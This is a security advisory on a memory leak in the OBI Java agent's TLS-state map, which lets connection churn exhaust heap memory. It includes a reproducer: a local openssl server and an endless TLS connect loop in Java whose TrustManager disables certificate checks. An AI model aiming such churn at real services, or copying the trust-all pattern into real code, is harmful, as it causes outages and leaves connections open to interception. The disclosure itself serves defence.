| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| go.opentelemetry.io/obi | < 0.9.0 | 0.9.0 |
| ebpf instrumentation | < 0.9.0 | 0.9.0 |
The custom CappedConcurrentHashMap introduced for Java TLS state tracking never removes keys from its insertion-order queue when entries are deleted. In long-running instrumented JVMs, repeated connection churn can therefore grow the queue without bound and exhaust heap memory.
The vulnerable implementation is in pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/util/CappedConcurrentHashMap.java#L11. New keys are appended to a ConcurrentLinkedQueue, and eviction only runs inside put() when map.size() > capacity.
The remove() method removes the key from the ConcurrentHashMap but leaves the key in the queue. Because evictIfNeeded() only checks map.size() > capacity, the queue can grow forever in workloads that insert and remove keys while keeping the live map below the cap.
This pattern is reachable from pkg/internal/java/agent/src/main/java/io/opentelemetry/obi/java/instrumentations/data/SSLStorage.java#L66, where cleanupConnectionBufMapping removes entries from bufConn and activeConnections, and removeBufferMapping removes entries from bufToBuf. In normal TLS connection lifecycles, those removals happen frequently.
Local testing with a small Java reproducer showed queue growth continuing after removals and eventually reached OutOfMemoryError, which matches the code-level leak mechanism described above.
Use a vulnerable Java agent build from v0.0.0-rc.2+build.2 or any later release that still contains the change. Start any JVM process instrumented with OBI's Java TLS support, then generate a large number of short-lived TLS handshakes.
One local reproducer is:
git checkout v0.0.0-rc.2+build.2
make build
Start a simple TLS server:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/key.pem -out /tmp/cert.pem -subj '/CN=localhost' -days 1
openssl s_server -accept 9443 -key /tmp/key.pem -cert /tmp/cert.pem -quiet
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンRun an instrumented JVM client that repeatedly opens and closes TLS connections:
// save as /tmp/TLSChurn.java
import javax.net.ssl.*;
import java.net.Socket;
public class TLSChurn {
public static void main(String[] args) throws Exception {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[]{new X509TrustManager() {
public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; }
public void checkClientTrusted(java.security.cert.X509Certificate[] c, String a) {}
public void checkServerTrusted(java.security.cert.X509Certificate[] c, String a) {}
}}, new java.security.SecureRandom());
SSLSocketFactory f = ctx.getSocketFactory();
for (;;) {
try (Socket s = f.createSocket("127.0.0.1", 9443)) {
s.getOutputStream().write("x".getBytes());
} catch (Exception ignored) {}
}
}
}
Compile and run:
javac /tmp/TLSChurn.java
java TLSChurn
Attach the vulnerable OBI Java instrumentation to the JVM. Over time, heap usage in the OBI Java agent process grows even though live connection counts remain bounded. A heap dump will show large retention from ConcurrentLinkedQueue nodes owned by CappedConcurrentHashMap.
This issue causes an availability loss in instrumented Java workloads that use OBI's TLS instrumentation. Repeated connection setup and teardown can grow the retained queue until the Java helper experiences long GC pauses or exhausts heap memory with OutOfMemoryError.